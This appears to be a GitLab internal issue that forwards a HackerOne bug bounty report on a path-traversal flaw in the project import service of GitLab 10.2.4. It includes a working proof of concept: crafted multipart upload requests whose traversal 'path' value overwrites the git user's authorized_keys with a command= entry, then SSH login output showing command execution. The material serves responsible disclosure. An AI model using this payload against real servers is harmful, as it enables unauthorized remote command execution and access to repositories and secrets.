Critical vulnerability in Projects::GitlabProjectsImportService allows for overwriting authorized_keys file for GitLab 10.2.4
https://hackerone.com/reports/298873
@stanhu (please loop in others as appropriate)
Via our HackerOne paid bug bounty program, a vulnerability in Projects::GitlabProjectsImportService was exploited by Jobert to write files to arbitrary directories on the server. This led to an arbitrary command execution vulnerability by overwriting the authorized_keys file. Can we validate the finding and determine the following:
- Is this a known security issue, currently?
- If this is a known issue, are there mitigations/patches in place to address this?
- If the above is 'yes', where are those mitigations?
Here are the details for the finding Jobert provided:
The Projects::GitlabProjectsImportService
contains a vulnerability that allows an attacker to write files to arbitrary directories on the server. This leads to an arbitrary command execution vulnerability by overwriting the authorized_keys
file. To reproduce, sign in to a GitLab instance that has GitLab import enabled. This is enabled by default, so I'd assume that this vulnerability applies to most GitLab instances. I've installed my GitLab instance through Omnibus.
Next up, intercept your network traffic and upload a GitLab import file. Observe the following request being made to the server:
Request
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="path"
test
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="namespace_id"
1
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
<file data>
Now take a closer look at the code that is being executed when this endpoint is hit:
app/services/projects/gitlab_project_import_service.rb
The import_upload_path
will take the unsanitized params[:path]
and append it to the GitLab uploads directory. This means that directories can be traversed in the path
parameter. Another observation is that the file contents of the file
aren't verified. This means that it may contain any data at that point.
My first though was to abuse this vulnerability to exploit a second-order remote code execution by writing an ERB template to the Rails views directory. However, that didn't work because of the file permissions of the GitLab Rails directory. I started looking for other files. I noticed that the uploads directory was writable for the git
user. I took a closer look at the /var/opt/gitlab/
directory and noticed the .ssh/authorized_keys
directory. This file was writable for the git
user, and thus, could be overwritten. This file can specify a command when an SSH connection is made. Now, going back to the original HTTP request, here's the updated request to overwrite the file:
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="path"
new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="namespace_id"
1
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
command="ls -lash",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxc6GwCNoYCygtTXvoBpn1ACoF4hxhQviNa/0fm3LGGnEWLszswgw4QcaxXYiRumKjBv77eJT2/VbJylZX0uL6D/1/hubTmnp2A1QQJLk1rMvaUGlR8DeQpIcF1T61g3y4lEw5yhaaHRqRLiMpGammQhu0PO6PTDbKlGH+HxA0u8ku/L+lJXncNtpupw3qTDaAt8dgamKAU8RSZRyANK2BVYVj1W376OQFglHIeQW62LsNNgvr9Oe/Ze1YeQqvHO/lv0AeWYdLgjBJOiC5acBFexDBCr4odeSqkDPmKCMI28Mw28hC8fJIHh3vFqXjvlPtkuhDmdap4x+8gUxP77DWoMGw6LY8cuce+sSWY0teawMFW8Dm2R0Fr2iHzpCT8IpKgVHQ24BnmPGWjtWHxDX2DSzdE3GC6dWStVXud3iprgipM2SOxFkwHIISzLybjT1u/fK1sO4IW6E2T1cgSYQd7I2KhNJsgW57GljefD4cmhlwR39ZXZ1GtDCoUxtwZF3Qpr6XaSQ4nL71Wq+Y+v2TGeJzI9HXHRUSP2gZh/BI5kUdeUKkeylhLLouCqII5MlIlMmklXFOOPXoip/KCO36fYRZ1YAhxJ0J1JGX7ws4BnMMKHAHp+YOtRpAfGXcA+yEdMx50PRvXydqNeivfvDlY2JXRRIKUA03O9GoWmPLpQ==
------WebKitFormBoundaryA0TxBpQRLhL4lJQN--
In the request, replace my public SSH key with your own and replace ls -lash
with whatever command you want to execute. When the request is sent to the server, a 302 Found will be returned. This is caused by a validation error that is returned because the project name contains invalid characters. Because the files aren't cleaned up, our exploit persists.
Response
HTTP/1.1 302 Found
Server: nginx
...
Location: http:/gitlab-instance/import/gitlab_project/new?namespace_id=1&path=new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
...
Now, to execute the command, run ssh git@gitlab-instance
:
$ ssh git@gitlab-instance
PTY allocation request failed on channel 0
total 84K
4.0K drwxr-xr-x 18 root root 4.0K Dec 15 04:33 .
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:32 ..
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 backups
4.0K -rw------- 1 root root 38 Dec 15 04:33 bootstrapped
4.0K drwx------ 2 git root 4.0K Dec 17 02:28 gitaly
4.0K -rw-r--r-- 1 git git 292 Dec 15 04:32 .gitconfig
4.0K drwx------ 3 git root 4.0K Dec 15 04:32 git-data
4.0K drwxr-xr-x 3 git root 4.0K Dec 15 04:32 gitlab-ci
4.0K drwxr-xr-x 2 git root 4.0K Dec 15 04:33 gitlab-monitor
4.0K drwxr-xr-x 9 git root 4.0K Dec 15 04:33 gitlab-rails
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 gitlab-shell
4.0K drwxr-x--- 2 git gitlab-www 4.0K Dec 17 02:28 gitlab-workhorse
4.0K drwx------ 3 root root 4.0K Dec 17 02:38 logrotate
4.0K drwxr-x--- 9 root gitlab-www 4.0K Dec 17 02:28 nginx
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:33 node-exporter
4.0K drwx------ 2 gitlab-psql root 4.0K Dec 15 04:34 postgres-exporter
4.0K drwxr-xr-x 3 gitlab-psql root 4.0K Dec 17 02:28 postgresql
4.0K drwxr-x--- 3 gitlab-prometheus root 4.0K Dec 15 04:33 prometheus
4.0K drwxr-x--- 2 gitlab-redis git 4.0K Dec 17 02:43 redis
4.0K drwx------ 2 git git 4.0K Dec 17 02:44 .ssh
4.0K -rw-r--r-- 1 root root 40 Dec 15 04:32 trusted-certs-directory-hash
This has been tested against GitLab 10.2.4 (the latest version, also used on gitlab.com).
Impact
An attacker can execute arbitrary system commands on the server, which exposes access to all git repositories, database, and potentially other secrets that may be used to escalate this further.